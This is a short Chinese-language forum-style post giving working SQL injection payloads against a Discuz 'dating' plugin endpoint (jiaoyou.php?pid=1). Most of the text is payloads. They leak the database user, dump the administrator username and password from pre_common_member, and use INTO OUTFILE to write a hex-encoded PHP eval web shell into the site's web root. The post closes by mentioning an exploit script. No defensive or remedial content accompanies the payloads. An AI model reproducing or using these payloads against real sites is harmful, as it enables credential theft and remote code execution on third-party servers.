DZ交友插件漏洞jiaoyou.php?pid=1

有的注入需要登录，注入代码如下：

' or @`'` and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(user())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or @`'` and '1'='1

爆管理账号密码方法一：

' or @`'` and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(username,0x24,password) as char),0x27,0x7e) FROM pre_common_member LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or @`'` and '1'='1

爆管理账号密码方法二：

' or @`'` and(select 1 from(select count(*),concat((select (select concat(username,0x24,password,0x24) from pre_common_member where  uid=1 limit 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or @`'` and '1'='1

root权限写shell:

' or @`'` union select 1,0x3C3F706870206576616C28245F504F53545B635D293F3E,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23  into outfile 'D:\wwwroot\gzcity2\t.php'-- where 1 or @`'` and '1'='1

初学php,写了个简单的exp:

DiscuzSQL Exp